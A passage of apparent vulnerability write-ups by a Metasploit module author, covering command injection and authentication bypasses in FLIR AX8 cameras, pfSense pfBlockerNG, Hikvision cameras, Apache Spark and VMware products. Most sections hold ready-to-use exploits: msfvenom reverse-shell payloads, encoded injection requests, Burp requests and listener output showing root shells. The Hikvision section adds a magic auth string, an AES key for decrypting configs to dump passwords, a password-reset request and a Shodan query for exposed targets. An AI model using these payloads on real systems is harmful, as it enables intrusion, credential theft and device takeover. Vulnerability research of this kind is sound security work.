and more specific NSX Manager Data Center for vSphere
up to and including version 6.4.13
are vulnerable to Remote Command Injection using XStream.
I have created a Metasploit module that has been submitted to the mainstream for production. A local version of this module can found at the Reference section.
Mitigation
Please update VMware NSX Manager
to 6.4.14
and follow the instructions in VMware Knowledge Base article listed in the Reference section.
References
Eat What You Kill::Pre-authenticated Remote Code Execution in VMWare NSX Manager
VMware advisory
VMware KB
Metasploit Development h00die-gr3y
Credits
Credits goes to the security researchers below who discovered these vulnerabilities.
Technical Analysis
FLIR AX8 is a thermal sensor with imaging capabilities, combining thermal and visual cameras that provides continuous temperature monitoring and alarming for critical electrical and mechanical equipment.
This device is typically used for monitoring industrial environments in a LAN based configuration. Occasionally you can find a FLIR AX8 device where the HTTP web interface is exposed to the public internet.
FLIR AX8 is affected by an unauthenticated remote command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user through the id
HTTP POST parameter in res.php
endpoint. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges. This issue affects all FLIR AX8 thermal sensor cameras version up to and including 1.46.16
.
The endpoint /res.php
can be called remotely without user authentication as there is no cookie verification Cookie: PHPSESSID=ID
to check if the request is legitimate. The second problem is that the POST parameter id
can be injected to execute any unix command as demonstrated in the example below.
Create a netcat reverse shell payload with msfvenom
# msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.100.7 LPORT=4444 -f raw [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder specified, outputting raw payload Payload size: 100 bytes mkfifo /tmp/ibcnr; nc 192.168.100.7 4444 0</tmp/ibcnr | /bin/sh >/tmp/ibcnr 2>&1; rm /tmp/ibcnr
Use this payload in a burp POST request using the vulnerable id
parameter to launch a netcat shell.
Note: Do not forget to apply the URL encoding.
POST /res.php HTTP/1.1 Host: 192.168.100.2 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 174 action=alarm&id=2;mkfifo%20%2ftmp%2fibcnr%3b%20nc%20192.168.100.7%204444%200%3c%2ftmp%2fibcnr%20%7c%20%2fbin%2fsh%20%3e%2ftmp%2fibcnr%202%3e%261%3b%20rm%20%2ftmp%2fibcnr
Click send and you will receive a netcat
shell on the attacker host.
# nc -lnvp 4444 listening on [any] 4444 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 51556 whoami root uname -a Linux neco 3.0.35-flir #1 PREEMPT Thu Oct 20 08:20:20 CET 2022 armv7l GNU/Linux
The root cause of this command injection vulnerability is the lack of sanitization checks on the variable $_POST["id"]
, line 65 in the file /FLIR/usr/www/res.php
and malicious actors can therefore take advantage of the shell_exec()
function to execute unexpected arbitrary shell commands.
Besides this vulnerability, three other vulnerabilities were identified. Check the respective CVE’s for more info.
- [CVE-2022-37060] – Unauthenticated Directory Traversal
- [CVE-2022-37062] – Improper Access Control
- [CVE-2022-37063] – Reflected cross-site scripting
As stated in the beginning of this analysis, it very unlikely to find this type of devices exposed to the Internet, but you will find them quite often in industrial environments deployed in a LAN based configuration.
I have created Metasploit module exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061
that will check if the device is vulnerable and launches a reverse netcat
shell or meterpreter
session on a vulnerable device . You can download this module from the link in the reference section below and follow the instructions to run it locally.
Pushing this module to the Metasploit mainstream is in progress.
Mitigation
Upgrade camera version to a higher firmware version then 1.46.16
.
References
Packetstorm
Metasploit Development h00die-gr3y
Credits
Credits goes to the security researchers below who discovered these vulnerabilities.
Technical Analysis
pfSense’s pfBlockerNG plugin version 2.1.4_26 and versions below has remote command execution vulnerability that can be exploited without any authentication and will provide root access.
Credits go the IHTeam who discovered this vulnerability in September 2022. CVE-2022-31814 carries a CVSS score of 9.8 and this vulnerability is likely to be exploited in the wild.
pfBlockerNG (https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html) is a pfSense plugin that is NOT installed by default and it’s generally used to block inbound connections from whole countries or IP ranges.
The vulnerability was identified in the file /usr/local/www/pfblockerng/www/index.php
which is used to record and query DNSBL data. Specifically to query, the code uses PHP function exec(), passing untrusted data into the command line code below:
// Query DNSBL Alias for Domain List. $query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST'])); exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);
The $_SERVER[‘HTTP_HOST’]
element passed in the above code, is a user-controllable input. An attacker can tamper with the HTTP_HOST
parameter via the "Host:" header
of the request.
There are a few restrictions in place that you need to bypass to make this work:
- htmlspecialchars() PHP function was preventing the use of shell redirections (> and <), double quotes (“), and ampersand (&)
- nginx web server won’t accept the forward slash (/) in the Host header, returning a 400 – Bad Request
Therefore, the only available characters to build a working payload were:
- pipe (|)
- semicolon (;)
- single quote (‘)
- spaces ( )
Other limitations are:
- Python is installed on pfSense , but it does not have the symbolic links (python3, python), so you need to specifically mention the version a.k.a.
python3.8
base64
is not installed, so for base64 decoding we will use thepython3.8 -m base64 -d
option
So let’s play around what we can do here…
To easily identify a valid payload, we can copy the original command in the exec() function and try to tamper with it directly in a shell:
/usr/bin/grep -l ‘ “INJECTION
60 IN A’ /var/db/pfblockerng/dnsblalias/*
In order to obtain a working PoC, we need:
- Close the single quote
- Specify a directory to search on
- Break the command with a semicolon
- Comment or add an additional single quote
A simple example is the sleep command below.
' *; sleep 5; '
This can be used as a simple test to see if your remote command execution works.
For more complex payloads that requires the restricted characters like forward slashes (/), double quotes (”“) and ampersand (&), we should encode our payload with base64
and decode using python3.8
for execution.
A simple netcat scenario is nc 192.168.201.8 4444 -e /bin/sh
and encode it with base64, however the -e
option is controlled by an ip_sec_policy on the pfSense firewall which restricts the usage of the -e
option.
It is a still a firewall, right ;–)
So another alternative is to use the reverse netcat option generated with msfvenom
that does not use the -e
option.
# msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.100.7 LPORT=4444 -f raw [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder specified, outputting raw payload Payload size: 95 bytes mkfifo /tmp/klmql; nc 192.168.100.7 4444 0</tmp/klmql | /bin/sh >/tmp/klmql 2>&1; rm /tmp/klmql # echo 'mkfifo /tmp/klmql; nc 192.168.100.7 4444 0</tmp/klmql | /bin/sh >/tmp/klmql 2>&1; rm /tmp/klmql' | base64 bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK
Let’s take this encoded payload (please check for any restricted characters) and use python to decode payload for execution –> python3.8 -m base64 -d
Hence, the final payload to obtain a reverse netcat shell in pfSense would be as follows:
/usr/bin/grep -l ‘ “' * ; echo bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK | python3.8 -m base64 -d | sh ; '
60 IN A’ /var/db/pfblockerng/dnsblalias/*
Let’s now use burpsuite to send our payload to the vulnerable pfblockerng
plugin by manipulating the "Host:" header
parameter to launch a netcat shell
GET /pfblockerng/www/index.php HTTP/1.1 Host: ' * ; echo bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK | python3.8 -m base64 -d | sh ; '
Click send and voila, we have established a netcat session on the attacker machine with root privileges.
# nc -lnvp 4444 listening on [any] 4444 ... connect to [192.168.100.7] from (UNKNOWN) [192.168.100.47] 45051 pwd /usr/local/www/pfblockerng/www whoami root
As stated in the beginning of this analysis, pfSense default installation does not have the pfblockerng
plugin installed by default, but unfortunately it is a popular plugin that is used on many installations of pfSense. It therefore makes it a very attractive target for malicious actors to explore.
There is already a Metasploit module available that exploits this vulnerability using php to launch a webshell and it has the options to spawn reverse shells.
Mitigation
Please update your pfBlockerNG
plugin to the latest version.
References
Technical Analysis
Recently, I bumped into a bunch of Hikvision camera’s during a security engagement and surprise, surprise, they were all vulnerable against this old vulnerability CVE-2017-7921 discovered by Monte Crypto in September 2017. You can find his write up here: https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html.
It made me curious, because we are five years further in the game and it looks that the majority of the Hikvison camera’s and other white-labelled versions are still vulnerable.
I ran a quick scan with Shodan (search: “App-webs” “200 OK”) and it returns around 160.000 potential targets where, based on my quick assessment, probably 20% remains vulnerable !!!
This is of course bad or good news depending which side you are on ;–), but regardless if you are a good or bad actor, it does make sense to revisit this old timer once more again.
A small deep dive into the problem
Many Hikvision IP cameras contain a backdoor have improper authorization logic that allows unauthenticated impersonation of any configured user account.
The basics of this vulnerability is very simple.
Updated based on the comment of @gwillcox-r7
Our dear programmers from Hikvision left a piece of a code in the vulnerable firmware that has a hard coded magic string that bypasses all security on the camera and will provide full admin access. Our dear programmers from Hikvision developed proprietary HikCGI protocol, which exposes URI endpoints through the camera’s web interface. The HikCGI protocol handler checks for the presence of a parameter named auth
in the query string and if that parameter contains a base64-encoded username:password
string, the HikCGI API call assumes the identity of the specified user and the password is ignored.
Using user admin
bypasses all security on the camera and allows an attacker to completely control the camera and modify any setting or retrieve sensible information.
You use any combination of base64 encoded admin:password
string, such as the one below.
# echo "admin:11" | base64 YWRtaW46MTEK
All what is needed is to append this magic string ?auth=YWRtaW46MTEK
to GET and POST queries to access the camera with administrative privileges and do whatever you want.
Examples are:
Retrieve a list of all users and their roles: http://camera.ip/Security/users?auth=YWRtaW46MTEK
Obtain a camera snapshot without authentication: http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK
or one can download the camera configuration: http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK
And the use cases for exploitation are numerous, as described in the HIKCGI Integration Guide and IP Media Device Management Protocol User Guide from Hikvision.
Let me take two use cases to show how easy it is to retrieve users and passwords and change them.
First of all, if you want to retrieve the users and passwords, just first pull the configuration file from the vulnerable camera using the magic string.
curl http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK --output configurationFile
You should get a file named configurationFile
which holds all camera information including the user and password information in plain text.
However this file is encrypted (rather weak ;-0), so we need to decrypt it first.
There is a nice tool made by WormChickenWizard that will the job for us. Check it out, but for now I just apply the logic that he described in his README.md.
First decrypt the configurationFile
with following command:
openssl enc -d -in configurationFile -out decryptedoutput -aes-128-ecb -K 279977f62f6cfd2d91cd75b889ce0c9a -nosalt -md md5
The AES encryption is now broken but the decryptedoutput
file is still xor encoded.
Use the tool from WormChickenWizard to decrypt the decrytedoutput
file to create a readable format that we can view with a hex editor to search for the users and passwords in plain text format.
java XORDecode
You should now have a file called plaintextOutput
file that you can inspect with a hex viewer or editor.
hexedit plaintextOutput
You will see output like this and the first admin and password you will find is the default admin password when your perform a factory reset (I love these Hikvision developers ;–)
00008358 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .................................... 0000837C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .................................... 000083A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .................................... 000083C4 00 00 00 00 61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....admin........................... 000083E8 31 32 33 34 35 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12345............................... 0000840C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 .................................... 00008430 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .................................... 00008454 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .................................... 00008478 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .................................... --- plaintextOutput --0x801C/0xD8B30--4%---------------------------------------------------------------------------------------------------------------------
If you search a bit further, you will find the actual users and passwords. In this case two users (admin and admln)
000A7BD4 00 00 00 00 08 10 00 00 00 00 00 00 61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ............admin................... 000A7BF8 00 00 00 00 00 00 00 00 50 61 24 24 57 30 72 64 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 ........Pa$$W0rd.................... 000A7C1C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 00 00 00 00 FF FF FF FF 00 00 00 00 .................................... 000A7C40 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 61 64 6D 6C 6E 00 00 00 00 00 00 00 ........................admln....... 000A7C64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 73 64 66 31 32 33 34 00 00 00 00 00 00 00 00 ....................asdf1234........ 000A7C88 00 70 0D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 .p.................................. 000A7CAC 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 .................................... --- plaintextOutput --0xA7850/0xD8B30--77%-------------------------------------------------------------------------------------------------------------------
Now if this is all too much effort, you can also decide to just reset the admin password with a new password.
The HTML code for that is pretty simple and can be easily executed using burp
Note: The new password should at least have 2 UPPERCASE, 2 lowercase and 2 special characters, otherwise it will not be accepted.
Burp request:
PUT /Security/users/1?auth=YWRtaW46MTEK HTTP/1.1 <?xml version="1.0" encoding="UTF-8"?> <User version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema"> <id>1</id> <userName>admin</userName> <password>Pa$$W0rd</password> </User>
To fix CVE-2017-7921, we recommend that users upgrade their Hikvision firmware to the latest version, but looking at the number of vulnerable camera’s out there, this will probably not help :–(.
References
I have added a reference to a Metasploit module that I developed and checks for a vulnerable camera and does the password reset for you.
I am currently updating the functionality of this module with some more actions to retrieve the config file, make a snapshot, enumerate the users and other stuff…
This module will be submitted shortly to the mainstream of Metasploit for acceptance of the Rapid7 development team.
Metasploit Hikvision module –> https://github.com/h00die-gr3y/Metasploit/
Update 24 September 2022:
Metasploit Hikvision module has been released to the mainstream –> https://github.com/rapid7/metasploit-framework/pull/17033
Hi @gwillcox-r7
Of course I am happy to contribute and add the module to the main stream of Metasploit.
I am not really familiar with the PR process, so you need to guide me here…
Please send me some instructions per e-mail so I can follow the process…
Thanks !
Technical Analysis
Apache Spark released the latest security bulletin on July 18, which contains a shell command injection vulnerability (CVE-2022-33891). The security researcher Kostya Kortchinsky (Databricks) has been credited with reporting this flaw.
What is exactly the issue?
In the vulnerable versions of Apache Spark, a non-default setting called spark.acls.enable true
triggers a shell command injection code vulnerability. This piece of code is responsible to check the permission of an user using a bash command shell in combination with the unix id command. Ironically the spark.acls.enable true
configuration setting is designed to improve the security access within the Spark application, but unfortunately this configuration setting triggers the vulnerable code below.
private def getUnixGroups(username: String): Set[String] = { val cmdSeq = Seq("bash", "-c", "id -Gn " + username) // we need to get rid of the trailing "\n" from the result of command execution Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet Utils.executeAndGetOutput(idPath :: "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet } }
You can trigger this very easily using ?doAs
parameter passing a raw Linux command:
http://<spark-ip>:8080/?doAs=`[command injection here]`
User commands are processed through ?doAs
parameter and nothing reflected back on the page during command execution, so this is a blind OS injection.
To demonstrate this vulnerability, download a vulnerable Spark docker image from dockerhub (https://hub.docker.com/).
- Startup the Docker image
- In a new terminal, enter
sudo docker exec -it spark_spark_1 /bin/bash
- In the container bash session, enter:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
- Restart docker image
Craft the command injection.
We will use a simple reverse shell payload: sh -i >& /dev/tcp/192.168.201.8/4444 0>&1
# echo 'sh -i >& /dev/tcp/192.168.201.8/4444 0>&1' | base64 c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK # curl -d 'doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data
Netcat listener
# nc -nvlp 4444 listening on [any] 4444 ... connect to [192.168.201.8] from (UNKNOWN) [192.168.201.37] 65314 $ whoami spark
Other example with Metasploit using python meterpreter
Setup and start the handler…
msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:4444 msf6 exploit(multi/handler) > jobs Jobs ==== Id Name Payload Payload opts -- ---- ------- ------------ 0 Exploit: multi/handler python/meterpreter/reverse_tcp tcp://0.0.0.0:4444
Craft the payload with msfvenom
# msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.201.8 LPORT=4444 -f raw [-] No platform was selected, choosing Msf::Module::Platform::Python from the payload [-] No arch selected, selecting arch: python from the payload No encoder specified, outputting raw payload Payload size: 497 bytes exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
Code the payload…
# echo "python -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))\"" | base64 cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9f KCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlM R0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNu azZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1Fv SkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0Zy Q2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29K ejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tU eHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21W emN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK
Execute the payload…
# curl -d 'doAs=`echo cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9fKCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlMR0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNuazZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1FvSkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0ZyQ2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29KejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tUeHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21WemN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data
Meterpreter session…
msf6 exploit(multi/handler) > [*] Sending stage (40168 bytes) to 192.168.201.37 [*] Meterpreter session 4 opened (192.168.201.8:4444 -> 192.168.201.37:49487) at 2022-08-19 21:12:25 +0000 msf6 exploit(multi/handler) > sessions -i 4 [*] Starting interaction with 4... meterpreter > shell Process 258 created. Channel 1 created. uname -a Linux 7a26a9fb7ce3 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022 x86_64 GNU/Linux ps ax PID TTY STAT TIME COMMAND 1 ? Ss 0:00 bash /opt/bitnami/spark/sbin/start-master.sh 33 ? S 0:00 bash /opt/bitnami/spark/sbin/spark-daemon.sh start org.apache.spark.deploy.master.Master 1 --host 7a26a9fb7ce3 --port 7077 --webui-port 8080 38 ? Sl 6:08 /opt/bitnami/java/bin/java -cp /opt/bitnami/spark/conf/:/opt/bitnami/spark/jars/* -Xmx1g org.apache.spark.deploy.master.Master --host 7a26a9fb7ce3 --port 7077 --webui-port 8080 216 pts/0 Ss+ 0:00 /bin/sh 245 pts/1 Ss+ 0:00 /bin/sh 254 ? Rsl 0:04 python -c exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0])) 258 ? S 0:00 /bin/sh 270 ? R 0:00 ps ax
To fix CVE-2022-33891, we recommend that users upgrade the Apache Spark to version 3.1.3, 3.2.2, or 3.3.0 or later in time.
References
I have added a reference to a Metasploit module that I developed and a reference to a nice POC from HuskyHacks.
Metasploit Apache Spark Module –> https://github.com/h00die-gr3y/Metasploit/
POC cve-2022-33891 –> https://github.com/HuskyHacks/cve-2022-33891
Technical Analysis
Researcher Petrus Viet submitted his technical analysis explaining an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate for VMware Workspace ONE Access, Identity Manager and vRealize Automation.
Please see this reference for the details: https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd
A quick summary of his write-up can be found here.
Basically this vulnerability is related to another authentication bypass (CVE-2022–22972) that was discovered in May 2022 (see reference https://blog.assetnote.io/2022/05/27/understanding-cve-2022-22972-vmware-workspace-one-access/) and was also analysed in detail by Rapid7 (see reference https://attackerkb.com/topics/Ur2L7rHv2F/cve-2022-22972).
The java web architecture is based on a listener->filter->servlet construct to send web request to a java web container.
Petrus discovered that you can use the UrlRewriteFilter layer which is responsible for mapping requests to some internal servlets based on predefined rules (in the WEB-INF/urlrewrite.xml file) to read arbitrary files.
One particular predefined rule with the regex “^/t/([^/])((|/)(((?!META-INF| WEB-INF).)))” will filter any request which has the path math and will map it to servlet “/$3” allowing attackers to read arbitrary files at WEB-INF.
Example:
Based on the regex, we can easily see that the request needs to start with “/SAAS/t/_/;/”, so for the request based on the rule with the path “/SAAS/t/_/;/WEB-INF/web.xml” it will be mapped to “/WEB-INF/web.xml”
With CVE-2022–22972 in the back of our mind, this vulnerability can be easily exploited to bypass the patch applied for CVE-2022-22972, where the developers added a HostHeaderFilter class to the filter chain to block all requests with a host header that doesn’t point to the server.
By manipulating the path “/auth/login/embeddedauthbroker/callback” using the path “/SAAS/t/_/;/auth/login/embeddedauthbroker/callback” based on the predefined rule early explained, it will bypass the HostHeaderFilter class, hence you can bypass the authentication again on a patched server.
There is a POC from horizon3ai at GitHub for CVE-2022–22972 (https://github.com/horizon3ai/CVE-2022-22972) that can be reused to test this vulnerability.
Combining this vulnerability with CVE-2022-31659 that allows remote code execution once the malicious user obtains administrator privileges makes VMware Workspace ONE Access, Identity Manager and vRealize Automation targets again.
VMWare has released patches (https://www.vmware.com/security/advisories/VMSA-2022-0021.html) for both CVEs, and it is recommended that all VMWare Workspace ONE clients apply these patches immediately to mitigate potential exploitation.
@rbowes-r7, I did some testing myself on the community editions, but I did not get the vulnerability to work on that platform.
The commercial editions are affected as outlined in the vendor advisory.